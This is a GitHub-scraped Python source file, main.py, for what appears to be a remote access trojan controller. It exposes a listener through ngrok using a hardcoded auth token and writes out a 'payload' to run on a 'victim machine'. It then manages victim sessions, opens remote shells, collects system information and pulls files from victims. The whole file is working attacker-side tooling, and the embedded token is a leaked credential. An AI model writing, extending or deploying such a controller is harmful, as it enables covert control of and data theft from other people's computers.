-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
544 lines (456 loc) · 19.4 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
import time
import socket
import logging
from tabulate import tabulate
from colorama import *
from threading import Thread
import os
import argparse
from pyngrok import ngrok
import json
import base64
connections = []
addresses = []
class Parser():
def __init__(self, prs: argparse.Namespace) -> None:
"""
Checks the User's arguements for any discrepancies
Args:
prs (namespace): The user's arguements
"""
logging.info(f"[Sys]: Verifying User Arguements")
self.port = prs.port
self.output = prs.output
self.cPort()
self.cOutput()
logging.info("[Sys]: Verified User Arguements")
def cPort(self) -> None:
"""
Function to Check whether the port is valid
"""
if not self.port:
print(f"{Fore.RED}[-] Please enter a Port Number{Style.RESET_ALL}")
logging.error("[Sys]: User didn't enter port number")
quit()
if self.port <= 0 or self.port > 65535:
print(f"{Fore.RED}[-] Please enter a valid Port Number{Style.RESET_ALL}")
logging.error(f"[Sys]: User's Port Number out of Range ({self.port})")
quit()
def cOutput(self) -> None:
"""
Function to check the output arguemnts
"""
if self.output:
if os.path.isdir(os.path.dirname(self.output)):
pass
else:
print(f"{Fore.RED}[-] Directory Doesn't Exit{Style.RESET_ALL}")
logging.error(f"[Sys]: Output Directory Doesn't Exist ({self.output})")
exit()
else:
print(f"{Fore.RED}[-] Please enter a path for the payload file{Style.RESET_ALL}")
logging.error(f"User didn't enter output path")
exit()
class Server():
def __init__(self) -> None:
"""
Set the Ngrok Auth Tokens for Servers
Args:
prs (namespace): The arguements from the user
"""
logging.info(f"[Sys]: Setting ngrok server up")
self.authToken = "23z3ADTPaC5FEE7MyexvIY1XjOk_hySQosBUEnWpakBdyFjg"
ngrok.set_auth_token(self.authToken)
logging.info(f"[Sys]: Finished Setting up ngrok server")
def start(self, prs: argparse.Namespace) -> socket.socket:
"""
Start the Server
Args:
prs (namespace): The User's parsed arguements
Returns:
addr: The Address for the Ngrok Server
port: The Port Number for the Ngrok Server
socket.socket: The Socket Connection
"""
logging.info("[Sys]: Starting Server")
# Create a TCP Socket
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
logging.info("[Sys]: Created TCP Socket")
# Bind Socket to Local Port
serverAddress = ("", prs.port)
self.sock.bind(serverAddress)
self.sock.listen(1)
logging.info("[Sys]: Binded Socket to Port")
# Create ngrok server
logging.info("[Sys]: Creating ngrok server")
publicUrl = ngrok.connect(prs.port, "tcp").public_url
print(f"[+] Ngrok Server Started from {Style.RESET_ALL}{publicUrl} --> tcp://127.0.0.1:{prs.port}")
logging.info(f"[Sys]: Created Ngrok Server at {publicUrl}")
addr = publicUrl.split("tcp://")[1].split(":")[0]
port = publicUrl.split("tcp://")[1].split(":")[1]
return addr, port, self.sock
class PayloadGenerator():
def __init__(self, port: int, addr: str, prs: argparse.Namespace) -> None:
"""
Creates a payload to run on victim machine
Args:
port (int): The port of the NGROK server
addr (str): The URL for the NGROK server
prs (namespace): The arguemnts from the user (Mainly for the output path)
"""
# Run the Generator
logging.info("Running the Generator")
self.getVariables(port, addr)
self.generate(prs)
def getVariables(self, port: int, addr: str) -> None:
"""
Create a string with addr and port values for the payload
Args:
port (int): The port of the ngrok server
addr (str): The address of the ngrok server
"""
# Create a global variable to call in generator function
self.variables = f"host = '{addr}'\nport = {port}\n\n"
def getFile(self, fileName: str) -> str:
"""
Get Files from the Modules Folder to Create the Payload
Args:
fileName (str): The file to open from Modules Folder
Returns:
str: The file contents
"""
# Find the file path
dirname = os.path.dirname(__file__)
# Add /Moduels to Path
dirname = os.path.join(dirname, 'Modules')
# Add the Filename to path
filePath = os.path.join(dirname, fileName)
# Get the File Contents and Return
file = open(filePath)
data = file.read()
file.close()
return data
def generate(self, prs: argparse.Namespace) -> None:
"""
Create the Payload File and Save it to the Path defined in user arguements
Args:
prs (namespace): The arguements from the user
"""
# Check if the output eends with .py (if not then add it)
if not prs.output.endswith(".py"):
prs.output = (prs.output + ".py")
# Create the file
file = open(prs.output, 'w')
# Combine the variables to the file contents
file.write(self.variables)
file.write(self.getFile('client.py'))
file.close()
logging.info(f"Created Payload at {prs.output}")
# Let User Know the file is generated there
print(f"[+] Payload Successfully Generated")
print(f" {Fore.CYAN}File Located in {prs.output}{Style.RESET_ALL}")
class ClientHandler():
def __init__(self, sock: socket.socket) -> None:
"""
Handles the Connections with the Clients
Args:
sock (socket.socket): The Socket Connection (From Server Class)
"""
logging.info(f"[Sys]: Started Client Handler")
self.sock = sock
def acceptConnections(self) -> None:
"""
Function to allow connections
"""
logging.info("[Sys]: Created Thread for Client Handler")
while True:
try:
# Accept Connections
conn, addr = self.sock.accept()
self.sock.setblocking(1)
# Add the Connections to list to connect to
connections.append(conn)
addresses.append(addr)
# Let the User know
logging.info(f"[Sys]: New Connection")
print(f"New Connection Established")
except KeyboardInterrupt:
print("Closing Server...")
self.sock.close()
quit()
except:
print("Error Accepting Connections")
class HelpCenter():
def selectHelp(self) -> str:
"""
Handles the overall help menu when selecting a session
Returns:
str: The Help Content
"""
return f"Commands:\n -{Fore.BLUE}help{Style.RESET_ALL}: Show this menu\n -{Fore.BLUE}list{Style.RESET_ALL}: Show a list of active sessions\n -{Fore.BLUE}select {Fore.RED}[ID]{Style.RESET_ALL}: Select a session to interact with\n"
def sessionHelp(self) -> str:
"""
Handles the overall help menu when in session
Returns:
str: The Help Content
"""
return f"Modules:\n - {Fore.BLUE}help{Style.RESET_ALL}: Shows commands for each module\n - {Fore.BLUE}shell{Style.RESET_ALL}: Opens a shell on the victim machine\n - {Fore.BLUE}exit{Style.RESET_ALL}: Exits the session\n"
def shellModuleHelp(self) -> str:
"""Handles the help menu for the shell module
Returns:
str: The Help Content
"""
return f"Shell Module Help Menu:\n - {Fore.BLUE}help{Style.RESET_ALL}: Shows this help menu\n - {Fore.BLUE}download{Fore.RED}[FILE NAME]{Style.RESET_ALL}: Download files from victim machine\n - {Fore.BLUE}upload {Fore.RED}[FILE NAME]{Style.RESET_ALL}: Upload file from Uploads Folder to Client\n - {Fore.BLUE}filesize {Fore.RED}[FILE NAME]{Style.RESET_ALL}: Shows the Size of a File on Client Machine\n - {Fore.BLUE}exit{Style.RESET_ALL}: Exits the shell\n"
class Commands():
def sysinfo(self, data: bytes) -> None:
"""
Handles present the user sysinfo from victim machine
Args:
data (bytes): The JSON byte data from the victim machine
"""
# Decode the Data and Check whether it got a proper response
if data.decode() == 'Error Getting Sysinfo':
print("Error Occurred Getting Sysinfo")
else:
# Decode the Data
data = json.loads(data.decode())
keys = list(data.keys())
values = list(data.values())
# Iterate and Show User the Response
for key, val in zip(keys, values):
print(f"{Fore.BLUE}{key}:{Style.RESET_ALL} {val}")
class Shell():
def run(self, command: str) -> str:
"""
Returns the command, used for organization
Args:
command (str): The command
Returns:
str: The command
"""
return command
def download(self, filename: str, conn: socket.socket) -> None:
"""
Function to Download File from Victim Machine
Args:
filename (str): The Filename to save the file as
conn (socket.socket): The Connection to allow the reciever to connect to
"""
# Add the Directory
dirname = os.path.dirname(__file__)
dirname = os.path.join(dirname, 'Downloads')
os.makedirs(dirname, exist_ok = True)
# Save the File
with open(os.path.join(dirname, filename[9:]), 'wb') as file:
print("Downloading File...")
conn.recv(1024)
# Set the buffer size
buffSize = 1024
conn.send(str.encode(str(buffSize)))
fileSize = conn.recv(1024).decode()
# Loop to get all the data
counter = 0
while True:
try:
# Ask for Data
section = conn.recv(buffSize)
# Save the Data
if len(section) == buffSize:
file.write(section)
counter += len(section)
print(f"Downloaded {counter} bytes out of {fileSize} bytes", end='\r')
conn.send(str.encode("Next"))
else:
file.write(section)
print(f"Downloaded {counter + len(section)} bytes")
break
except Exception as e:
logging.error(f"Error Occurred at Download Function{e}")
file.close()
class CommandCenter(Commands, HelpCenter):
def __init__(self, sock: socket.socket) -> None:
"""
Handles all the Commands
Args:
sock (socket.socket): The Socket Connections
"""
self.sock = sock
self.cli = f"{Fore.GREEN}>> {Style.RESET_ALL}"
self.conn = None
self.targetSet = False
def command(self) -> None:
"""
The Command Line for Commands
"""
logging.info("Started CLI")
# Start the CLI
while True:
# Ask the User for Input
command = input(self.cli)
logging.info(f"[User]: {command}")
# Commands
if self.targetSet:
if command == 'sysinfo':
self.conn.send(str.encode('sysinfo'))
self.sysinfo(self.conn.recv(20480))
elif command == 'exit':
self.conn = None
self.targetSet = False
self.cli = ">> "
logging.info("Exitted Session")
print("Exitted Session")
elif command == 'shell':
try:
self.conn.send(str.encode('shell'))
while True:
command = input("$ ")
if command == 'exit':
self.conn.send(str.encode(command))
break
elif command[:9] == 'filesize ':
self.conn.send(str.encode(command))
print(self.conn.recv(1024).decode())
elif command[:9] == 'download ':
self.conn.send(str.encode(command))
self.Shell().download(command, self.conn)
elif command == 'help':
print(self.shellModuleHelp())
elif command != "":
data = self.Shell().run(command)
self.conn.send(str.encode(data))
print(self.conn.recv(20480).decode())
except BrokenPipeError:
print("Connection Disrupted")
elif command == 'help':
print(self.sessionHelp())
else:
try:
self.conn.send(str.encode(command))
except AttributeError:
print(f"Please select a session")
except BrokenPipeError:
print("\nConnection Disrupted...")
print("Please Select a New Target")
self.conn = None
self.targetSet = False
self.cli = f"{Fore.GREEN}>> {Style.RESET_ALL}"
else:
if command == 'list':
self.listTargets(True)
elif command[:7] == 'select ':
self.listTargets(False)
self.conn = self.selectTarget(command)
elif command == 'help':
print(self.selectHelp())
else:
try:
self.conn.send(str.encode(command))
except AttributeError:
print(f"Please select a session")
except BrokenPipeError:
print("\nConnection Disrupted...")
print("Please Select a New Target")
logging.warning("Connection Disrupted")
self.conn = None
self.targetSet = False
self.cli = f"{Fore.GREEN}>> {Style.RESET_ALL}"
def listTargets(self, output: bool = True) -> None:
"""
Lists out all the active sessions
"""
# let's Sys check connections
if output:
print(f"Active Sessions: ")
# Check if there are active connections
if len(connections) > 0:
# Loop through every connection
for i, conn in enumerate(connections):
# Try to Check whether the connection will return a function
try:
# Send A Request for Connection Check
conn.send(str.encode('connection check'))
# Check whether the response exists
if conn.recv(20480).decode() == '':
# Delete from list if connection doesn't exist
del connections[i]
del addresses[i]
# Print the Connections
print(f"Sessions {i} --- {addresses[i]}")
# If the Connection returns nothing, then remove it
except:
try:
del connections[i]
del addresses[i]
except Exception as e:
logging.error(f"Error Occurred: {e}")
pass
print("\n")
# If None, let the user know
else:
print("Still Waiting for Connections")
else:
# Check if there are active connections
if len(connections) > 0:
# Loop through every connection
for i, conn in enumerate(connections):
# Try to Check whether the connection will return a function
try:
conn.send(str.encode('connection check'))
if conn.recv(20480).decode() == '':
del connections[i]
del addresses[i]
# If the Connection returns nothing, then remove it
except:
del connections[i]
del addresses[i]
def selectTarget(self, id: str) -> socket.socket:
"""
Select the Session to Run Commands on
Args:
id (str): The ID of the session to use
Returns:
socket.socket: The Socket Connection for the Target
"""
try:
# Make String into Int
target = id.replace('select ', '')
target = int(target)
# Create the Connection to Target
conn = connections[target]
# Change the Terminal Format
self.cli = f"{Fore.RED}{addresses[target]}{Fore.GREEN} >> {Style.RESET_ALL}"
self.targetSet = True
print(f"Target Set to {addresses[target]}\n")
# Return the Socket
return conn
except ValueError:
print("Please Enter a Number Above")
except IndexError:
print("Please Select a Valid Target")
def main():
# ===== PARSER ===== #
# Create the Arguement Parser
parser = argparse.ArgumentParser(add_help = False)
# Set the parser arguements
parser.add_argument('-p', '--port', dest ="port", default = 0, type = int, help = "Port to Bind to")
parser.add_argument('-o', '--output', dest = "output", default = "", type = str, help = "Complete Path to Output Payload!")
parser = parser.parse_args()
# Check if the arguements are valid
Parser(parser)
# ===== Server Creator ===== #
# Setup the NGROK server
server = Server()
serverAddr, serverPort, socket = server.start(parser)
# ===== Payload Creator ===== #
PayloadGenerator(serverPort, serverAddr, parser)
# ===== Start the Client Handler ===== #
handler = ClientHandler(socket)
clientHandler = Thread(target = handler.acceptConnections)
clientHandler.daemon = True
clientHandler.start()
# ===== Command Center ===== #
commandCenter = CommandCenter(socket)
commandCenter.command()
if __name__ == "__main__":
logging.basicConfig(filename = 'Logs/main.log', filemode = 'w', level = logging.INFO, format = '%(name)s - %(levelname)s - %(message)s')
main()